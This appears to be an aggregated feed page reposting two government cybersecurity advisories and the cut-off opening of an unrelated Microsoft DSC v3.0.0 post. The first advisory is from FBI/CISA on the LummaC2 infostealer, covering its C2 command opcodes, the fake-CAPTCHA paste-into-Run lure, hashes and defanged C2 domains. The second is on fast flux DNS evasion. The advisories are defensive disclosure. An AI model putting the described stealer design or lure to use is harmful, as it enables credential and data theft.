Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations

This post was originally published on this site

Summary

The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint advisory to disseminate known tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) associated with threat actors deploying the LummaC2 information stealer (infostealer) malware. LummaC2 malware is able to infiltrate victim computer networks and exfiltrate sensitive information, threatening vulnerable individuals’ and organizations’ computer networks across multiple U.S. critical infrastructure sectors. According to FBI information and trusted third-party reporting, this activity has been observed as recently as May 2025. The IOCs included in this advisory were associated with LummaC2 malware infections from November 2023 through May 2025.

The FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of LummaC2 malware.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

AA25-141B STIX XML
(XML, 146.54 KB
)
AA25-141B STIX JSON
(JSON, 300.90 KB
)

Technical Details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 17. See the MITRE ATT&CK Tactics and Techniques section of this advisory for threat actor activity mapped to MITRE ATT&CK tactics and techniques.

Overview

LummaC2 malware first appeared for sale on multiple Russian-language speaking cybercriminal forums in 2022. Threat actors frequently use spearphishing hyperlinks and attachments to deploy LummaC2 malware payloads [T1566.001, T1566.002]. Additionally, threat actors rely on unsuspecting users to execute the payload by clicking a fake Completely Automated Public Turing Test to tell Computers and Humans Apart (CAPTCHA). The CAPTCHA contains instructions for users to then open the Windows Run window (Windows Button + R) and paste clipboard contents (“CTRL + V”). After users press “enter” a subsequent Base64-encoded PowerShell process is executed.

To obfuscate their operations, threat actors have embedded and distributed LummaC2 malware within spoofed or fake popular software (i.e., multimedia player or utility software) [T1036]. The malware’s obfuscation methods allow LummaC2 actors to bypass standard cybersecurity measures, such as Endpoint Detection and Response (EDR) solutions or antivirus programs, designed to flag common phishing attempts or drive-by downloads [T1027].

Once a victim’s computer system is infected, the malware can exfiltrate sensitive user information, including personally identifiable information, financial credentials, cryptocurrency wallets, browser extensions, and multifactor authentication (MFA) details without immediate detection [TA0010, T1119]. Private sector statistics indicate there were more than 21,000 market listings selling LummaC2 logs on multiple cybercriminal forums from April through June of 2024, a 71.7 percent increase from April through June of 2023.

File Execution

Upon execution, the LummaC2.exe file will enter its main routine, which includes four sub-routines (see Figure 1).

Figure 1. LummaC2 Main Routine

Figure 1. LummaC2 Main Routine

The first routine decrypts strings for a message box that is displayed to the user (see Figure 2).

Figure 2. Message Box

Figure 2. Message Box

If the user selects No, the malware will exit. If the user selects Yes, the malware will move on to its next routine, which decrypts its callback Command and Control (C2) domains [T1140]. A list of observed domains is included in the Indicators of Compromise section.

After each domain is decoded, the implant will attempt a POST request [T1071.001] (see Figure 3).

Figure 3. Post Request

Figure 3. Post Request

If the POST request is successful, a pointer to the decoded domain string is saved in a global variable for later use in the main C2 routine used to retrieve JSON formatted commands (see Figure 4).

Figure 4. Code Saving Successful Callback Request

Figure 4. Code Saving Successful Callback Request

Once a valid C2 domain is contacted and saved, the malware moves on to the next routine, which queries the user’s name and computer name utilizing the Application Programming Interfaces (APIs) GetUserNameW and GetComputerNameW respectively [T1012]. The returned data is then hashed and compared against a hard-coded hash value (see Figure 5).

Figure 5. User and Computer Name Check

Figure 5. User and Computer Name Check

The hashing routine was not identified as a standard algorithm; however, it is a simple routine that converts a Unicode string to a 32-bit hexadecimal value.

If the username hash is equal to the value 0x56CF7626, then the computer name is queried. If the computer name queried is seven characters long, then the name is hashed and checked against the hard-coded value of 0xB09406C7. If both values match, a final subroutine will be called with a static value of the computer name hash as an argument. If this routine is reached, the process will terminate. This is most likely a failsafe to prevent the malware from running on the attacker’s system, as its algorithms are one-way only and will not reveal information on the details of the attacker’s own hostname and username.

If the username and hostname check function returns zero (does not match the hard-coded values), the malware will enter its main callback routine. The LummaC2 malware will contact the saved hostname from the previous check and send the following POST request (see Figure 6).

Figure 6. Second POST Request

Figure 6. Second POST Request

The data returned from the C2 server is encrypted. Once decoded, the C2 data is in a JSON format and is parsed by the LummaC2 malware. The C2 uses the JSON configuration to parse its browser extensions and target lists using the ex key, which contains an array of objects (see Figure 7).

Figure 7. Parsing of ex JSON Value

Figure 7. Parsing of ex JSON Value

Parsing the c key contains an array of objects, which will give the implant its C2 (see Figure 8).

Figure 8. Parsing of c JSON Value

Figure 8. Parsing of c JSON Value

C2 Instructions

Each array object that contains the JSON key value of t will be evaluated as a command opcode, resulting in the C2 instructions in the subsections below.

1. Opcode 0 – Steal Data Generic

This command allows five fields to be defined when stealing data, offering the most flexibility. The Opcode O command option allows LummaC2 affiliates to add their custom information gathering details (see Table 1).

Table 2. Opcode 1 Options
Key Value
p Path to steal from
m File extensions to read
z Output directory to store stolen data
d Depth of recursiveness
fs Maximum file size

2. Opcode 1 – Steal Browser Data

This command only allows for two options: a path and the name of the output directory. This command, based on sample configuration downloads, is used for browser data theft for everything except Mozilla [T1217] (see Table 2).

Table 2. Opcode 1 Options
Key Value
p Path to steal from
z Name of Browser – Output

3. Opcode 2 – Steal Browser Data (Mozilla)

This command is identical to Opcode 1; however, this option seems to be utilized solely for Mozilla browser data (see Table 3).

Table 3. Opcode 2 Options
Key Value
p Path to steal from
z Name of Browser – Output

4. Opcode 3 – Download a File

This command contains three options: a URL, file extension, and execution type. The configuration can specify a remote file with u to download and create the extension specified in the ft key [T1105] (see Table 4).

Table 4. Opcode 3 Options
Key Value
u URL for Download
ft File Extension
Execution Type

The e value can take two values: 0 or 1. This specifies how to execute the downloaded file either with the LoadLibrary API or via the command line with rundll32.exe [T1106] (see Table 5).

Table 5. Execution Types
Key Value
e=0 Execute with LoadLibraryW()
e=1 Executive with rund1132.exe

5. Take Screenshot

If the configuration JSON file has a key of “se” and its value is “true,” the malware will take a screenshot in BMP format and upload it to the C2 server.

6. Delete Self

If the configuration JSON file has a key of “ad” and its value is “true,” the malware will enter a routine to delete itself.

The command shown in Figure 9 will be decoded and executed for self-deletion.

Figure 9. Self-Deletion Command Line

Figure 9. Self-Deletion Command Line

Figure 10 depicts the above command line during execution.

Figure 10. Decoded Command Line in Memory

Figure 10. Decoded Command Line in Memory

Host Modifications

Without any C2 interactions, the LummaC2 malware does not create any files on the infected drive. It simply runs in memory, gathers system information, and exfiltrates it to the C2 server [T1082]. The commands returned from the C2 server could indicate that it drops additional files and/or saves data to files on the local hard drive. This is variable, as these commands come from the C2 server and are mutable.

Decrypted Strings

Below is a list of hard-coded decrypted strings located in the binary (see Figure 11).

Figure 11. Decoded Strings

Figure 11. Decoded Strings

Indicators of Compromise

See Table 6 and Table 7 for LummaC2 IOCs obtained by the FBI and trusted third parties.

Disclaimer: The authoring agencies recommend organizations investigate and vet these indicators of compromise prior to taking action, such as blocking.

Table 6. LummaC2 Executable Hashes
Executables Type
4AFDC05708B8B39C82E60ABE3ACE55DB (LummaC2.exe from November 2023) MD5
E05DF8EE759E2C955ACC8D8A47A08F42 (LummaC2.exe from November 2023) MD5
C7610AE28655D6C1BCE88B5D09624FEF MD5
1239288A5876C09D9F0A67BCFD645735168A7C80 (LummaC2.exe from November 2023) SHA1
B66DA4280C6D72ADCC68330F6BD793DF56A853CB (LummaC2.exe from November 2023) SHA1
3B267FA5E1D1B18411C22E97B367258986E871E5 TLSH
19CC41A0A056E503CC2137E19E952814FBDF14F8D83F799AEA9B96ABFF11EFBB (November 2023) SHA256
2F31D00FEEFE181F2D8B69033B382462FF19C35367753E6906ED80F815A7924F (LummaC2.exe from November 2023) SHA256
4D74F8E12FF69318BE5EB383B4E56178817E84E83D3607213160276A7328AB5D SHA256
325daeb781f3416a383343820064c8e98f2e31753cd71d76a886fe0dbb4fe59a SHA256
76e4962b8ccd2e6fd6972d9c3264ccb6738ddb16066588dfcb223222aaa88f3c SHA256
7a35008a1a1ae3d093703c3a34a21993409af42eb61161aad1b6ae4afa8bbb70 SHA256
a9e9d7770ff948bb65c0db24431f75dd934a803181afa22b6b014fac9a162dab SHA256
b287c0bc239b434b90eef01bcbd00ff48192b7cbeb540e568b8cdcdc26f90959 SHA256
ca47c8710c4ffb4908a42bd986b14cddcca39e30bb0b11ed5ca16fe8922a468b SHA256
Table 7. LummaC2 DLL Binaries
DLL Binaries Type
iphlpapi.dll IP Helper API
winhttp.dll Windows HTTP Services

The following are domains observed deploying LummaC2 malware.

Disclaimer: The domains below are historical in nature and may not currently be malicious.

  • Pinkipinevazzey[.]pw
  • Fragnantbui[.]shop
  • Medicinebuckerrysa[.]pw
  • Musicallyageop[.]pw
  • stogeneratmns[.]shop
  • wallkedsleeoi[.]shop
  • Tirechinecarpet[.]pw
  • reinforcenh[.]shop
  • reliabledmwqj[.]shop
  • Musclefarelongea[.]pw
  • Forbidstow[.]site
  • gutterydhowi[.]shop
  • Fanlumpactiras[.]pw
  • Computeryrati[.]site
  • Contemteny[.]site
  • Ownerbuffersuperw[.]pw
  • Seallysl[.]site
  • Dilemmadu[.]site
  • Freckletropsao[.]pw
  • Opposezmny[.]site
  • Faulteyotk[.]site
  • Hemispheredodnkkl[.]pw
  • Goalyfeastz[.]site
  • Authorizev[.]site
  • ghostreedmnu[.]shop
  • Servicedny[.]site
  • blast-hubs[.]com
  • offensivedzvju[.]shop
  • friendseforever[.]help
  • blastikcn[.]com
  • vozmeatillu[.]shop
  • shiningrstars[.]help
  • penetratebatt[.]pw
  • drawzhotdog[.]shop
  • mercharena[.]biz
  • pasteflawwed[.]world
  • generalmills[.]pro
  • citywand[.]live
  • hoyoverse[.]blog
  • nestlecompany[.]pro
  • esccapewz[.]run
  • dsfljsdfjewf[.]info
  • naturewsounds[.]help
  • travewlio[.]shop
  • decreaserid[.]world
  • stormlegue[.]com
  • touvrlane[.]bet
  • governoagoal[.]pw
  • paleboreei[.]biz
  • calmingtefxtures[.]run
  • foresctwhispers[.]top
  • tracnquilforest[.]life
  • sighbtseeing[.]shop
  • advennture[.]top
  • collapimga[.]fun
  • holidamyup[.]today
  • pepperiop[.]digital
  • seizedsentec[.]online
  • triplooqp[.]world
  • easyfwdr[.]digital
  • strawpeasaen[.]fun
  • xayfarer[.]live
  • jrxsafer[.]top
  • quietswtreams[.]life
  • oreheatq[.]live
  • plantainklj[.]run
  • starrynsightsky[.]icu
  • castmaxw[.]run
  • puerrogfh[.]live
  • earthsymphzony[.]today
  • weldorae[.]digital
  • quavabvc[.]top
  • citydisco[.]bet
  • steelixr[.]live
  • furthert[.]run
  • featureccus[.]shop
  • smeltingt[.]run
  • targett[.]top
  • mrodularmall[.]top
  • ferromny[.]digital
  • ywmedici[.]top
  • jowinjoinery[.]icu
  • rodformi[.]run
  • legenassedk[.]top
  • htardwarehu[.]icu
  • metalsyo[.]digital
  • ironloxp[.]live
  • cjlaspcorne[.]icu
  • navstarx[.]shop
  • bugildbett[.]top
  • latchclan[.]shop
  • spacedbv[.]world
  • starcloc[.]bet
  • rambutanvcx[.]run
  • galxnetb[.]today
  • pomelohgj[.]top
  • scenarisacri[.]top
  • jawdedmirror[.]run
  • changeaie[.]top
  • lonfgshadow[.]live
  • liftally[.]top
  • nighetwhisper[.]top
  • salaccgfa[.]top
  • zestmodp[.]top
  • owlflright[.]digital
  • clarmodq[.]top
  • piratetwrath[.]run
  • hemispherexz[.]top
  • quilltayle[.]live
  • equatorf[.]run
  • latitudert[.]live
  • longitudde[.]digital
  • climatologfy[.]top
  • starofliught[.]top

MITRE ATT&CK Tactics and Techniques

See Table 8 through Table 13 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 8. Initial Access
Technique Title ID Use
Phishing T1566 Threat actors delivered LummaC2 malware through phishing emails.
Phishing: Spearphishing Attachment T1566.001 Threat actors used spearphishing attachments to deploy LummaC2 malware payloads.
Phishing: Spearphishing Link T1566.002 Threat actors used spearphishing hyperlinks to deploy LummaC2 malware payloads.
Table 9. Defense Evasion
Technique Title ID Use
Obfuscated Files or Information T1027 Threat actors obfuscated the malware to bypass standard cybersecurity measures designed to flag common phishing attempts or drive-by downloads.
Masquerading T1036 Threat actors delivered LummaC2 malware via spoofed software.
Deobfuscate/Decode Files or Information T1140 Threat actors used LummaC2 malware to decrypt its callback C2 domains.
Table 10. Discovery
Technique Title ID Use
Query Registry T1012 Threat actors used LummaC2 malware to query the user’s name and computer name utilizing the APIs GetUserNameW and GetComputerNameW.
Browser Information Discovery T1217 Threat actors used LummaC2 malware to steal browser data.
Table 11. Collection
Technique Title ID Use
Automated Collection T1119 LummaC2 malware has automated collection of various information including cryptocurrency wallet details.
Table 12. Command and Control
Technique Title ID Use
Application Layer Protocol: Web Protocols T1071.001 Threat actors used LummaC2 malware to attempt POST requests.
Ingress Tool Transfer T1105 Threat actors used LummaC2 malware to transfer a remote file to compromised systems.
Table 13. Exfiltration
Technique Title ID Use
Exfiltration TA0010 Threat actors used LummaC2 malware to exfiltrate sensitive user information, including traditional credentials, cryptocurrency wallets, browser extensions, and MFA details without immediate detection.
Native API T1106 Threat actors used LummaC2 malware to download files with native OS APIs.

Mitigations

The FBI and CISA recommend organizations implement the mitigations below to reduce the risk of compromise by LummaC2 malware. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

  • Separate User and Privileged Accounts: Allow only necessary users and applications access to the registry [CPG 2.E].
  • Monitor and detect suspicious behavior during exploitation [CPG 3.A].
    • Monitor and detect suspicious behavior, creation and termination events, and unusual and unexpected processes running.
    • Monitor API calls that may attempt to retrieve system information.
    • Analyze behavior patterns from process activities to identify anomalies.
    • For more information, visit CISA’s guidance on: Enhanced Visibility and Hardening Guidance for Communications Infrastructure.
  • Implement application controls to manage and control execution of software, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
  • Protect against threat actor phishing campaigns by implementing CISA’s Phishing Guidance and Phishing-resistant multifactor authentication. [CPG 2.H]
  • Log Collection: Regularly monitoring and reviewing registry changes and access logs can support detection of LummaC2 malware [CPG 2.T].
  • Implement authentication, authorization, and accounting (AAA) systems [M1018] to limit actions users can perform and review logs of user actions to detect unauthorized use and abuse. Apply principles of least privilege to user accounts and groups, allowing only the performance of authorized actions.
  • Audit user accounts and revoke credentials for departing employees, removing those that are inactive or unnecessary on a routine basis [CPG 2.D]. Limit the ability for user accounts to create additional accounts.
  • Keep systems up to date with regular updates, patches, hot fixes, and service packs that may minimize vulnerabilities. Learn more by visiting CISA’s webpage: Secure our World Update Software.
  • Secure network devices to restrict command line access.
  • Use segmentation to prevent access to sensitive systems and information, possibly with the use of Demilitarized Zone (DMZ) or virtual private cloud (VPC) instances to isolate systems [CPG 2.F].
  • Monitor and detect API usage, looking for unusual or malicious behavior.

Validate Security Controls

In addition to applying mitigations, the FBI and CISA recommend exercising, testing, and validating your organization’s security program against threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The FBI and CISA recommend testing your existing security controls inventory to assess performance against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 8 through Table 13).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI and CISA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Reporting

Your organization has no obligation to respond or provide information to the FBI in response to this joint advisory. If, after reviewing the information provided, your organization decides to provide information to the FBI, reporting must be consistent with applicable state and federal laws.

The FBI is interested in any information that can be shared, to include the status and scope of infection, estimated loss, date of infection, date detected, initial attack vector, and host- and network-based indicators.

To report information, please contact the FBI’s Internet Crime Complaint Center (IC3), your local FBI field office, or CISA’s 24/7 Operations Center at report@cisa.gov or (888) 282-0870.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The FBI and CISA do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by the FBI and CISA.

Acknowledgements

ReliaQuest contributed to this advisory.

Version History

May 21, 2025: Initial version.

Fast Flux: A National Security Threat

This post was originally published on this site

Executive summary

Many networks have a gap in their defenses for detecting and blocking a malicious technique known as “fast flux.” This technique poses a significant threat to national security, enabling malicious cyber actors to consistently evade detection. Malicious cyber actors, including cybercriminals and nation-state actors, use fast flux to obfuscate the locations of malicious servers by rapidly changing Domain Name System (DNS) records. Additionally, they can create resilient, highly available command and control (C2) infrastructure, concealing their subsequent malicious operations. This resilient and fast changing infrastructure makes tracking and blocking malicious activities that use fast flux more difficult. 

The National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC), Canadian Centre for Cyber Security (CCCS), and New Zealand National Cyber Security Centre (NCSC-NZ) are releasing this joint cybersecurity advisory (CSA) to warn organizations, Internet service providers (ISPs), and cybersecurity service providers of the ongoing threat of fast flux enabled malicious activities as a defensive gap in many networks. This advisory is meant to encourage service providers, especially Protective DNS (PDNS) providers, to help mitigate this threat by taking proactive steps to develop accurate, reliable, and timely fast flux detection analytics and blocking capabilities for their customers. This CSA also provides guidance on detecting and mitigating elements of malicious fast flux by adopting a multi-layered approach that combines DNS analysis, network monitoring, and threat intelligence. 

The authoring agencies recommend all stakeholders—government and providers—collaborate to develop and implement scalable solutions to close this ongoing gap in network defenses against malicious fast flux activity.

Download the PDF version of this report: Fast Flux: A National Security Threat

Technical details

When malicious cyber actors compromise devices and networks, the malware they use needs to “call home” to send status updates and receive further instructions. To decrease the risk of detection by network defenders, malicious cyber actors use dynamic resolution techniques, such as fast flux, so their communications are less likely to be detected as malicious and blocked. 

Fast flux refers to a domain-based technique that is characterized by rapidly changing the DNS records (e.g., IP addresses) associated with a single domain [T1568.001]. 

Single and double flux

Malicious cyber actors use two common variants of fast flux to perform operations:

1. Single flux: A single domain name is linked to numerous IP addresses, which are frequently rotated in DNS responses. This setup ensures that if one IP address is blocked or taken down, the domain remains accessible through the other IP addresses. See Figure 1 as an example to illustrate this technique.

Illustration of single flux technique, where a single domain name is linked to numerous IP addresses, which are frequently rotated in DNS responses.

Figure 1: Single flux technique.

Note: This behavior can also be used for legitimate purposes for performance reasons in dynamic hosting environments, such as in content delivery networks and load balancers.

2. Double flux: In addition to rapidly changing the IP addresses as in single flux, the DNS name servers responsible for resolving the domain also change frequently. This provides an additional layer of redundancy and anonymity for malicious domains. Double flux techniques have been observed using both Name Server (NS) and Canonical Name (CNAME) DNS records. See Figure 2 as an example to illustrate this technique.

Infographic of double flux technique, where In addition to rapidly changing the IP addresses as in single flux, the DNS name servers responsible for resolving the domain also change frequently.

Figure 2: Double flux technique. 

Both techniques leverage a large number of compromised hosts, usually as a botnet from across the Internet that acts as proxies or relay points, making it difficult for network defenders to identify the malicious traffic and block or perform legal enforcement takedowns of the malicious infrastructure. Numerous malicious cyber actors have been reported using the fast flux technique to hide C2 channels and remain operational. Examples include:

  • Bulletproof hosting (BPH) services offer Internet hosting that disregards or evades law enforcement requests and abuse notices. These providers host malicious content and activities while providing anonymity for malicious cyber actors. Some BPH companies also provide fast flux services, which help malicious cyber actors maintain connectivity and improve the reliability of their malicious infrastructure. [1]
  • Fast flux has been used in Hive and Nefilim ransomware attacks. [3], [4]
  • Gamaredon uses fast flux to limit the effectiveness of IP blocking. [5], [6], [7]

The key advantages of fast flux networks for malicious cyber actors include:

  • Increased resilience. As a fast flux network rapidly rotates through botnet devices, it is difficult for law enforcement or abuse notifications to process the changes quickly and disrupt their services.
  • Render IP blocking ineffective. The rapid turnover of IP addresses renders IP blocking irrelevant since each IP address is no longer in use by the time it is blocked. This allows criminals to maintain resilient operations.
  • Anonymity. Investigators face challenges in tracing malicious content back to the source through fast flux networks. This is because malicious cyber actors’ C2 botnets are constantly changing the associated IP addresses throughout the investigation.

Additional malicious uses

Fast flux is not only used for maintaining C2 communications, it also can play a significant role in phishing campaigns to make social engineering websites harder to block or take down. Phishing is often the first step in a larger and more complex cyber compromise. Phishing is typically used to trick victims into revealing sensitive information (such as login passwords, credit card numbers, and personal data), but can also be used to distribute malware or exploit system vulnerabilities. Similarly, fast flux is used for maintaining high availability for cybercriminal forums and marketplaces, making them resilient against law enforcement takedown efforts. 

Some BPH providers promote fast flux as a service differentiator that increases the effectiveness of their clients’ malicious activities. For example, one BPH provider posted on a dark web forum that it protects clients from being added to Spamhaus blocklists by easily enabling the fast flux capability through the service management panel (See Figure 3). A customer just needs to add a “dummy server interface,” which redirects incoming queries to the host server automatically. By doing so, only the dummy server interfaces are reported for abuse and added to the Spamhaus blocklist, while the servers of the BPH customers remain “clean” and unblocked. 

Example of a dark web fast flux advertisement.

Figure 3: Example dark web fast flux advertisement.

The BPH provider further explained that numerous malicious activities beyond C2, including botnet managers, fake shops, credential stealers, viruses, spam mailers, and others, could use fast flux to avoid identification and blocking. 

As another example, a BPH provider that offers fast flux as a service advertised that it automatically updates name servers to prevent the blocking of customer domains. Additionally, this provider further promoted its use of separate pools of IP addresses for each customer, offering globally dispersed domain registrations for increased reliability.

Detection techniques

The authoring agencies recommend that ISPs and cybersecurity service providers, especially PDNS providers, implement a multi-layered approach, in coordination with customers, using the following techniques to aid in detecting fast flux activity [CISA CPG 3.A]. However, quickly detecting malicious fast flux activity and differentiating it from legitimate activity remains an ongoing challenge to developing accurate, reliable, and timely fast flux detection analytics. 

1. Leverage threat intelligence feeds and reputation services to identify known fast flux domains and associated IP addresses, such as in boundary firewalls, DNS resolvers, and/or SIEM solutions.

2. Implement anomaly detection systems for DNS query logs to identify domains exhibiting high entropy or IP diversity in DNS responses and frequent IP address rotations. Fast flux domains will frequently cycle though tens or hundreds of IP addresses per day.

3. Analyze the time-to-live (TTL) values in DNS records. Fast flux domains often have unusually low TTL values. A typical fast flux domain may change its IP address every 3 to 5 minutes.

4. Review DNS resolution for inconsistent geolocation. Malicious domains associated with fast flux typically generate high volumes of traffic with inconsistent IP-geolocation information.

5. Use flow data to identify large-scale communications with numerous different IP addresses over short periods.

6. Develop fast flux detection algorithms to identify anomalous traffic patterns that deviate from usual network DNS behavior.

7. Monitor for signs of phishing activities, such as suspicious emails, websites, or links, and correlate these with fast flux activity. Fast flux may be used to rapidly spread phishing campaigns and to keep phishing websites online despite blocking attempts.

8. Implement customer transparency and share information about detected fast flux activity, ensuring to alert customers promptly after confirmed presence of malicious activity.

Mitigations

All organizations

To defend against fast flux, government and critical infrastructure organizations should coordinate with their Internet service providers, cybersecurity service providers, and/or their Protective DNS services to implement the following mitigations utilizing accurate, reliable, and timely fast flux detection analytics. 

Note: Some legitimate activity, such as common content delivery network (CDN) behaviors, may look like malicious fast flux activity. Protective DNS services, service providers, and network defenders should make reasonable efforts, such as allowlisting expected CDN services, to avoid blocking or impeding legitimate content.

1. DNS and IP blocking and sinkholing of malicious fast flux domains and IP addresses

  • Block access to domains identified as using fast flux through non-routable DNS responses or firewall rules.
  • Consider sinkholing the malicious domains, redirecting traffic from those domains to a controlled server to capture and analyze the traffic, helping to identify compromised hosts within the network.
  • Block IP addresses known to be associated with malicious fast flux networks.

2. Reputational filtering of fast flux enabled malicious activity

  • Block traffic to and from domains or IP addresses with poor reputations, especially ones identified as participating in malicious fast flux activity.

3. Enhanced monitoring and logging

  • Increase logging and monitoring of DNS traffic and network communications to identify new or ongoing fast flux activities.
  • Implement automated alerting mechanisms to respond swiftly to detected fast flux patterns.
  • Refer to ASD’s ACSC joint publication, Best practices for event logging and threat detection, for further logging recommendations.

4. Collaborative defense and information sharing

  • Share detected fast flux indicators (e.g., domains, IP addresses) with trusted partners and threat intelligence communities to enhance collective defense efforts. Examples of indicator sharing initiatives include CISA’s Automated Indicator Sharing or sector-based Information Sharing and Analysis Centers (ISACs) and ASD’s Cyber Threat Intelligence Sharing Platform (CTIS) in Australia.
  • Participate in public and private information-sharing programs to stay informed about emerging fast flux tactics, techniques, and procedures (TTPs). Regular collaboration is particularly important because most malicious activity by these domains occurs within just a few days of their initial use; therefore, early discovery and information sharing by the cybersecurity community is crucial to minimizing such malicious activity. [8]

5. Phishing awareness and training

  • Implement employee awareness and training programs to help personnel identify and respond appropriately to phishing attempts.
  • Develop policies and procedures to manage and contain phishing incidents, particularly those facilitated by fast flux networks.
  • For more information on mitigating phishing, see joint Phishing Guidance: Stopping the Attack Cycle at Phase One.

Network defenders

The authoring agencies encourage organizations to use cybersecurity and PDNS services that detect and block fast flux. By leveraging providers that detect fast flux and implement capabilities for DNS and IP blocking, sinkholing, reputational filtering, enhanced monitoring, logging, and collaborative defense of malicious fast flux domains and IP addresses, organizations can mitigate many risks associated with fast flux and maintain a more secure environment. 

However, some PDNS providers may not detect and block malicious fast flux activities. Organizations should not assume that their PDNS providers block malicious fast flux activity automatically and should contact their PDNS providers to validate coverage of this specific cyber threat. 

For more information on PDNS services, see the 2021 joint cybersecurity information sheet from NSA and CISA about Selecting a Protective DNS Service. [9] In addition, NSA offers no-cost cybersecurity services to Defense Industrial Base (DIB) companies, including a PDNS service. For more information, see NSA’s DIB Cybersecurity Services and factsheet. CISA also offers a Protective DNS service for federal civilian executive branch (FCEB) agencies. See CISA’s Protective Domain Name System Resolver page and factsheet for more information. 

Conclusion

Fast flux represents a persistent threat to network security, leveraging rapidly changing infrastructure to obfuscate malicious activity. By implementing robust detection and mitigation strategies, organizations can significantly reduce their risk of compromise by fast flux-enabled threats. 

The authoring agencies strongly recommend organizations engage their cybersecurity providers on developing a multi-layered approach to detect and mitigate malicious fast flux operations. Utilizing services that detect and block fast flux enabled malicious cyber activity can significantly bolster an organization’s cyber defenses. 

Works cited

[1] Intel471. Bulletproof Hosting: A Critical Cybercriminal Service. 2024. https://intel471.com/blog/bulletproof-hosting-a-critical-cybercriminal-service 

[2] Australian Signals Directorate’s Australian Cyber Security Centre. “Bulletproof” hosting providers: Cracks in the armour of cybercriminal infrastructure. 2025. https://www.cyber.gov.au/about-us/view-all-content/publications/bulletproof-hosting-providers 

[3] Logpoint. A Comprehensive guide to Detect Ransomware. 2023. https://www.logpoint.com/wp-content/uploads/2023/04/logpoint-a-comprehensive-guide-to-detect-ransomware.pdf

[4] Trendmicro. Modern Ransomware’s Double Extortion Tactic’s and How to Protect Enterprises Against Them. 2021. https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/modern-ransomwares-double-extortion-tactics-and-how-to-protect-enterprises-against-them

[5] Unit 42. Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. 2022. https://unit42.paloaltonetworks.com/trident-ursa/

[6] Recorded Future. BlueAlpha Abuses Cloudflare Tunneling Service for GammaDrop Staging Infrastructure. 2024. https://www.recordedfuture.com/research/bluealpha-abuses-cloudflare-tunneling-service 

[7] Silent Push. ‘From Russia with a 71’: Uncovering Gamaredon’s fast flux infrastructure. New apex domains and ASN/IP diversity patterns discovered. 2023. https://www.silentpush.com/blog/from-russia-with-a-71/

[8] DNS Filter. Security Categories You Should be Blocking (But Probably Aren’t). 2023. https://www.dnsfilter.com/blog/security-categories-you-should-be-blocking-but-probably-arent

[9] National Security Agency. Selecting a Protective DNS Service. 2021. https://media.defense.gov/2025/Mar/24/2003675043/-1/-1/0/CSI-SELECTING-A-PROTECTIVE-DNS-SERVICE-V1.3.PDF

Disclaimer of endorsement

The information and opinions contained in this document are provided “as is” and without any warranties or guarantees. Reference herein to any specific commercial product, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This document was developed in furtherance of the authoring cybersecurity agencies’ missions, including their responsibilities to identify and disseminate threats, and develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

National Security Agency (NSA):

Cybersecurity and Infrastructure Security Agency (CISA):

  • All organizations should report incidents and anomalous activity to CISA via the agency’s Incident Reporting System, its 24/7 Operations Center at report@cisa.gov, or by calling 1-844-Say-CISA (1-844-729-2472). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact.

Federal Bureau of Investigation (FBI):

  • To report suspicious or criminal activity related to information found in this advisory, contact your local FBI field office or the FBI’s Internet Crime Complaint Center (IC3). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC):

  • For inquiries, visit ASD’s website at www.cyber.gov.au or call the Australian Cyber Security Hotline at 1300 CYBER1 (1300 292 371).

Canadian Centre for Cyber Security (CCCS):

New Zealand National Cyber Security Centre (NCSC-NZ):

Get started with Microsoft Desired State Configuration v3.0.0

This post was originally published on this site

This is the second post in a multi-part series about the new release of DSC.

Microsoft Desired State Configuration (DSC) v3.0.0 is a modern, cross-platform configuration
management framework designed to help administrators and developers declaratively define and enforce
system states. Whether you’re managing infrastructure, deploying applications, or automating system
